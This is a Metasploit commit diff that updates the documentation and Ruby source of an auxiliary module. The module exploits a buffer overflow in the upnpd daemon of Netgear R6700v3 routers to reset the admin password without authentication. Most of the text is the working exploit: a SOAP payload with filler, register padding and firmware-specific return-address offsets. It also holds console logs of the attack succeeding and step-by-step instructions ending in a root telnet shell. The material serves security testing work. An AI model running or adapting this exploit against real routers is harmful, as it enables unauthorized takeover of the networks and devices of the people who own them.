Update module and documentation with new output from the exploit

This commit is contained in:
gwillcox-r7
2020-06-30 16:02:06 -05:00
parent 3db867e5eb
commit ddb41d5a50
2 changed files with 289 additions and 184 deletions
@@ -1,7 +1,7 @@
## Description
## Vulnerable Application
This module exploits a buffer overflow vulnerability in the upnpd daemon (/usr/sbin/upnpd), running on the
router Netgear R6700v3, ARM Architecture, firmware version V1.0.4.82_10.0.57 and V1.0.4.84_10.0.58 to reset the password
This module exploits a buffer overflow vulnerability in the upnpd daemon (/usr/sbin/upnpd), running on the
router Netgear R6700v3, ARM Architecture, firmware version V1.0.4.82_10.0.57 and V1.0.4.84_10.0.58 to reset the password
of the "admin" user on affected systems back to its factory default of "password". Support for other versions has not
been added due to time constraints; users are encouraged to refer to the advisory for details on how to update the
offset to the admin password reset functionality to support other firmware versions.
@@ -12,7 +12,7 @@ will crash the upnpd daemon and it will not restart, so attackers can only explo
of the router. After using this module, to achieve code execution, do the following steps manually:
1. Login to 192.168.1.1 with creds 'admin:password', then:
* go to Advanced -> Administration -> Set Password
* Go to Advanced -> Administration -> Set Password
* Change the password from 'password' to <WHATEVER>
2. Run metasploit as root, then:
* use exploit/linux/telnet/netgear_telnetenable
@@ -25,13 +25,11 @@ of the router. After using this module, to achieve code execution, do the follow
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the team Flashback (Pedro Ribeiro + Radek Domanski).
## Vulnerable Application
Vulnerable firmware versions can be downloaded using the following links:
* [Netgear R6700v3 firmware version V1.0.4.82_10.0.57](http://www.downloads.netgear.com/files/GDC/R6700v3/R6700v3-V1.0.4.82_10.0.57.zip)
* [Netgear R6700v3 firmware version V1.0.4.84_10.0.58](http://www.downloads.netgear.com/files/GDC/R6700v3/R6700v3-V1.0.4.84_10.0.58.zip)
## Verification Steps
Example steps in this format:
1. Connect the R6700v3 router to your local area network and ensure you can access it.
2. Browse to the admin portal for the router, which will be located by default at `http://192.168.1.1`.
@@ -43,7 +41,7 @@ This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the tea
8. Set RHOST
9. Run ```check``` and verify that the target is vulnerable.
10. Do: ```run```
11. Browse admin portal for the router, and
11. Browse admin portal for the router, and
verify you can successfully log in with the username `admin` and the password `password`.
## Options
@@ -52,7 +50,7 @@ This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the tea
IP address of the LAN interface of the vulnerable target.
### RPORT
### RPORT
upnpd port on the target. Default 5000.
@@ -61,110 +59,216 @@ upnpd port on the target. Default 5000.
### Netgear R6700v3 firmware version V1.0.4.84_10.0.58
```
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
[*] Target is running firmware version 1.0.4.84
[*] 192.168.1.1:5000 - The target appears to be vulnerable.
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
[*] Running module against 192.168.1.1
[*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.
[+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
[*] To achieve code execution, do the following steps manually:
[*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
[*] 1.1- go to Advanced -> Administration -> Set Password
[*] 1.2- Change the password from 'password' to <WHATEVER>
[*] 2- Run metasploit as root, then:
[*] 2.1- use exploit/linux/telnet/netgear_telnetenable
[*] 2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>
[*] 2.3- set rhost 192.168.1.1
[*] 2.3- set username admin
[*] 2.4- set password <WHATEVER>
[*] 2.5- OPTIONAL: set timeout 1500
[*] 2.6- OPTIONAL: set MAC <ROUTERS_MAC>
[*] 2.7- run it and login with 'admin:<WHATEVER>'
[*] 3- Enjoy your root shell!
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
```
[*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.
[+] 192.168.1.1:5000 - The target is vulnerable.
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > run
[*] Running module against 192.168.1.1
[*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.
[+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
[*] To achieve code execution, do the following steps manually:
[*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
[*] 1.1- go to Advanced -> Administration -> Set Password
[*] 1.2- Change the password from 'password' to <WHATEVER>
[*] 2- Run metasploit as root, then:
[*] 2.1- use exploit/linux/telnet/netgear_telnetenable
[*] 2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>
[*] 2.3- set rhost 192.168.1.1
[*] 2.3- set username admin
[*] 2.4- set password <WHATEVER>
[*] 2.5- run it and login with 'admin:<WHATEVER>'
[*] 3- Enjoy your root shell!
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > use exploit/linux/telnet/netgear_telnetenable
msf5 exploit(linux/telnet/netgear_telnetenable) > ifconfig | grep enx
[*] exec: ifconfig | grep enx
enxd03745775fdd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
msf5 exploit(linux/telnet/netgear_telnetenable) > set interface enxd03745775fdd
interface => enxd03745775fdd
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
username => admin
msf5 exploit(linux/telnet/netgear_telnetenable) > set password Flashback
password => Flashback
msf5 exploit(linux/telnet/netgear_telnetenable) > set timeout 1500
timeout => 1500
msf5 exploit(linux/telnet/netgear_telnetenable) > run
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[*] 192.168.1.1:23 - Attempting to discover MAC address via ARP
[+] 192.168.1.1:23 - Found MAC address
[+] 192.168.1.1:23 - Using creds admin:Flashback
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.1:23) at 2020-06-22 17:52:25 +0200
login: admin
admin
Password: Flashback
BusyBox v1.7.2 (2019-10-19 12:12:12 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
id
uid=0(admin) gid=0(root)
# uname -a
uname -a
Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Sat Oct 19 11:17:27 CST 2019 armv7l unknown
Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
session running as `root`, entered the following commands:
```
msf5 > use exploit/linux/telnet/netgear_telnetenable
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
username => admin
msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
password => testing123
msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
MAC => D56C89FC94C9
msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[+] 192.168.1.1:23 - Using creds admin:testing123
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.1:23) at 2020-06-30 15:57:33 -0500
Login incorrect
login: admin
admin
Password: testing123
BusyBox v1.7.2 (2019-10-19 12:12:12 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
id
uid=0(admin) gid=0(root)
# uname -a
uname -a
Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Sat Oct 19 11:17:27 CST 2019 armv7l unknown
#
```
### Netgear R6700v3 firmware version V1.0.0.4.82_10.0.57
```
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
[*] Running module against 192.168.1.1
[*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.
[+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
[*] To achieve code execution, do the following steps manually:
[*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
[*] 1.1- go to Advanced -> Administration -> Set Password
[*] 1.2- Change the password from 'password' to <WHATEVER>
[*] 2- Run metasploit as root, then:
[*] 2.1- use exploit/linux/telnet/netgear_telnetenable
[*] 2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>
[*] 2.3- set rhost 192.168.1.1
[*] 2.3- set username admin
[*] 2.4- set password <WHATEVER>
[*] 2.5- run it and login with 'admin:<WHATEVER>'
[*] 3- Enjoy your root shell!
[*] Auxiliary module execution completed
msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
[*] Target is running firmware version 1.0.4.82
[*] 192.168.1.1:5000 - The target appears to be vulnerable.
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
[*] Running module against 192.168.1.1
[*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.
[+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
[*] To achieve code execution, do the following steps manually:
[*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
[*] 1.1- go to Advanced -> Administration -> Set Password
[*] 1.2- Change the password from 'password' to <WHATEVER>
[*] 2- Run metasploit as root, then:
[*] 2.1- use exploit/linux/telnet/netgear_telnetenable
[*] 2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>
[*] 2.3- set rhost 192.168.1.1
[*] 2.3- set username admin
[*] 2.4- set password <WHATEVER>
[*] 2.5- OPTIONAL: set timeout 1500
[*] 2.6- OPTIONAL: set MAC <ROUTERS_MAC>
[*] 2.7- run it and login with 'admin:<WHATEVER>'
[*] 3- Enjoy your root shell!
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
```
Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
session running as `root`, entered the following commands:
```
msf5 > use exploit/linux/telnet/netgear_telnetenable
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(linux/telnet/netgear_telnetenable) > show options
Module options (exploit/linux/telnet/netgear_telnetenable):
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
MAC no MAC address of device
PASSWORD no Password on device
PCAPFILE no The name of the PCAP capture file to process
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 500 yes The number of seconds to wait for new data
USERNAME no Username on device
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic (detect TCP or UDP)
msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
set msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
username => admin
msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
password => testing123
msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
MAC => D56C89FC94C9
msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[+] 192.168.1.1:23 - Using creds admin:testing123
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.1:23) at 2020-06-30 15:14:08 -0500
Login incorrect
login: admin
admin
Password: testing123
BusyBox v1.7.2 (2019-07-29 20:56:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
id
uid=0(admin) gid=0(root)
# uname -a
uname -a
Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Mon Jul 29 19:43:55 CST 2019 armv7l unknown
#
```
@@ -10,36 +10,36 @@ class MetasploitModule < Msf::Auxiliary
super(
update_info(
info,
'Name' => 'Netgear R6700v3 Unauthenticated LAN Admin Password Reset',
'Description' => %q{
This module exploits a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd), running on
the router Netgear R6700 Nighthawk, hardware version 3, ARM Architecture, firmware versions V1.0.0.4.82_10.0.57
and V1.0.0.4.84_10.0.58.
'Name' => 'Netgear R6700v3 Unauthenticated LAN Admin Password Reset',
'Description' => %q{
This module exploits a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd), running on
the router Netgear R6700 Nighthawk, hardware version 3, ARM Architecture, firmware versions V1.0.0.4.82_10.0.57
and V1.0.0.4.84_10.0.58.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an attacker can hijack execution of the upnpd binary,
and reset the router's administrative password to the factory default of "password".
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an attacker can hijack execution of the upnpd binary,
and reset the router's administrative password to the factory default of "password".
Once this is done, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a
special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can
then log into this telnet server using the new password, and obtain a shell as the "root" user.
Once this is done, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a
special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can
then log into this telnet server using the new password, and obtain a shell as the "root" user.
These last two steps have to be done manually, as the authors did not reverse the communication with the web interface.
It should be noted that successful exploitation will result in the upnpd binary crashing on the target router.
As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit
this vulnerability once per reboot of the router.
These last two steps have to be done manually, as the authors did not reverse the communication with the web interface.
It should be noted that successful exploitation will result in the upnpd binary crashing on the target router.
As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit
this vulnerability once per reboot of the router.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Twitter: @pedrib1337. Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com>', # Twitter: @RabbitPro. Vulnerability discovery and Metasploit module
'gwillcox-r7' # Minor general updates plus updated implementation of the check method to identify a wider range of vulnerable targets.
],
'References' =>
'References' =>
[
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md'],
[ 'URL', 'https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders'],
@@ -48,118 +48,119 @@ class MetasploitModule < Msf::Auxiliary
[ 'ZDI', '20-704']
],
'Notes' => # Note that reliability isn't included here, as technically the exploit can only
# only be run once, after which the service crashes.
# only be run once, after which the service crashes.
{
'SideEffects' => [ CONFIG_CHANGES ], # This module will change the configuration by
# resetting the router to the default factory password.
'Stability' => [ CRASH_SERVICE_DOWN ] # This module will crash the target service after it is run.
'SideEffects' => [ CONFIG_CHANGES ], # This module will change the configuration by
# resetting the router to the default factory password.
'Stability' => [ CRASH_SERVICE_DOWN ] # This module will crash the target service after it is run.
},
'RelatedModules' => [ 'exploit/linux/telnet/netgear_telnetenable' ], # This module relies on users also running exploit/linux/telnet/netgear_telnetenable to get the shell.
'DisclosureDate' => "Jun 15 2020",
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 15 2020',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(5000)
])
]
)
end
def get_version
def retrieve_version
soap =
"<?xml version=\"1.0\"?>"\
"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
"\r\n<SOAP-ENV:Body>"\
"\r\nSetDeviceNameIconByMAC"\
"\r\n<NewBlockSiteName>1"\
"\r\n</NewBlockSiteName>"\
"\r\n</SOAP-ENV:Body>"\
"\r\n</SOAP-ENV:Envelope>"
'<?xml version="1.0"?>'\
"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
"\r\n<SOAP-ENV:Body>"\
"\r\nSetDeviceNameIconByMAC"\
"\r\n<NewBlockSiteName>1"\
"\r\n</NewBlockSiteName>"\
"\r\n</SOAP-ENV:Body>"\
"\r\n</SOAP-ENV:Envelope>"
# the GetInfo method will helpfully report the firmware version to an unauth request
headers = "SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo"
headers = 'SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
res = send_request_cgi({
'uri' => '/soap/server_sa',
'method' => 'POST',
'raw_headers' => headers,
'data' => soap
'method' => 'POST',
'raw_headers' => headers,
'data' => soap
})
if (res == nil)
if res.nil?
fail_with(Failure::Unreachable, "Failed to obtain device version: Target didn't respond")
elsif (res.body.to_s == "") or (res.code != 200)
fail_with(Failure::UnexpectedReply, "Failed to obtain device version: Unexpected response code")
elsif (res.body.to_s == '') || (res.code != 200)
fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: Unexpected response code')
end
version = res.body.to_s
version = version.scan(/V\d\.\d\.\d\.\d{1,2}/) # Try find a version number in the format V1.2.3.48 or similar.
if (version == nil) # Check we actually got a result.
fail_with(Failure::UnexpectedReply, "Failed to obtain device version: no version number found in response") # Taken from https://stackoverflow.com/questions/4115115/extract-a-substring-from-a-string-in-ruby-using-a-regular-expression
if version.nil? # Check we actually got a result.
fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: no version number found in response') # Taken from https://stackoverflow.com/questions/4115115/extract-a-substring-from-a-string-in-ruby-using-a-regular-expression
end
raw_version_number = version[0].gsub("V", "") # If we got a result, then take the first result from the returned array, and remove the leading 'V'.
raw_version_number = version[0].gsub('V', '') # If we got a result, then take the first result from the returned array, and remove the leading 'V'.
Gem::Version.new(raw_version_number) # Finally lets turn it into a Gem::Version object for later use in other parts of the code.
end
def check
target_version = get_version
target_version = retrieve_version
print_status("Target is running firmware version #{target_version}")
if (target_version < Gem::Version.new("1.0.4.94")) && (target_version >= Gem::Version.new("1.0.2.62"))
if (target_version < Gem::Version.new('1.0.4.94')) && (target_version >= Gem::Version.new('1.0.2.62'))
return Exploit::CheckCode::Appears
else
return Exploit::Checkcode::Safe
end
end
def get_offset
target_version = get_version
if target_version == Gem::Version.new("1.0.4.84")
def find_offset
target_version = retrieve_version
if target_version == Gem::Version.new('1.0.4.84')
print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.")
# this offset is where execution will jump to
# a part in the middle of the binary that resets the admin password
return "\x58\x9a\x03"
elsif target_version == Gem::Version.new("1.0.4.82")
elsif target_version == Gem::Version.new('1.0.4.82')
print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.")
return "\x48\x9a\x03"
end
end
def run
offset = get_offset
if not offset
fail_with(Failure::NoTarget, "Identified firmware version is not supported. Please contact the authors.")
offset = find_offset
if !offset
fail_with(Failure::NoTarget, 'Identified firmware version is not supported. Please contact the authors.')
end
headers =
"SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever"
"SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever"
payload =
"<?xml version=\"1.0\"?>"\
"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
"\r\n<SOAP-ENV:Body>"\
"\r\nSetDeviceNameIconByMAC"\
"\r\n<NewBlockSiteName>1"
'<?xml version="1.0"?>'\
"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
"\r\n<SOAP-ENV:Body>"\
"\r\nSetDeviceNameIconByMAC"\
"\r\n<NewBlockSiteName>1"
# filler
payload += Rex::Text::rand_text_alpha(1028)
payload += Rex::Text.rand_text_alpha(1028)
# $r4
payload += Rex::Text::rand_text_alpha(4)
payload += Rex::Text.rand_text_alpha(4)
# $r5
payload += Rex::Text::rand_text_alpha(4)
payload += Rex::Text.rand_text_alpha(4)
# $r6
payload += Rex::Text::rand_text_alpha(4)
payload += Rex::Text.rand_text_alpha(4)
# $r7
payload += Rex::Text::rand_text_alpha(4)
payload += Rex::Text.rand_text_alpha(4)
# $r8
payload += Rex::Text::rand_text_alpha(4)
payload += Rex::Text.rand_text_alpha(4)
# $lr (AKA return address)
payload += offset
# trailer
payload +=
"\r\n</NewBlockSiteName>"\
"\r\n</SOAP-ENV:Body>"\
"\r\n</SOAP-ENV:Envelope>"
"\r\n</NewBlockSiteName>"\
"\r\n</SOAP-ENV:Body>"\
"\r\n</SOAP-ENV:Envelope>"
headers.gsub! "\n", "\r\n"
payload.gsub! "\n", "\r\n"
@@ -170,9 +171,9 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'uri' => '/soap/server_sa',
'method' => 'POST',
'raw_headers' => headers,
'data' => payload
'method' => 'POST',
'raw_headers' => headers,
'data' => payload
})
if res
@@ -180,11 +181,11 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::UnexpectedReply, 'Failed to send HTTP payload... try again?')
else
print_good("#{peer} - HTTP payload sent! 'admin' password has been reset to 'password'")
print_status("To achieve code execution, do the following steps manually:")
print_status('To achieve code execution, do the following steps manually:')
print_status("1- Login to #{rhost} with creds 'admin:password', then:")
print_status("\t1.1- go to Advanced -> Administration -> Set Password")
print_status("\t1.2- Change the password from 'password' to <WHATEVER>")
print_status("2- Run metasploit as root, then:")
print_status('2- Run metasploit as root, then:')
print_status("\t2.1- use exploit/linux/telnet/netgear_telnetenable")
print_status("\t2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>")
print_status("\t2.3- set rhost #{rhost}")
@@ -193,7 +194,7 @@ class MetasploitModule < Msf::Auxiliary
print_status("\t2.5- OPTIONAL: set timeout 1500")
print_status("\t2.6- OPTIONAL: set MAC <ROUTERS_MAC>")
print_status("\t2.7- run it and login with 'admin:<WHATEVER>'")
print_status("3- Enjoy your root shell!")
print_status('3- Enjoy your root shell!')
end
end
end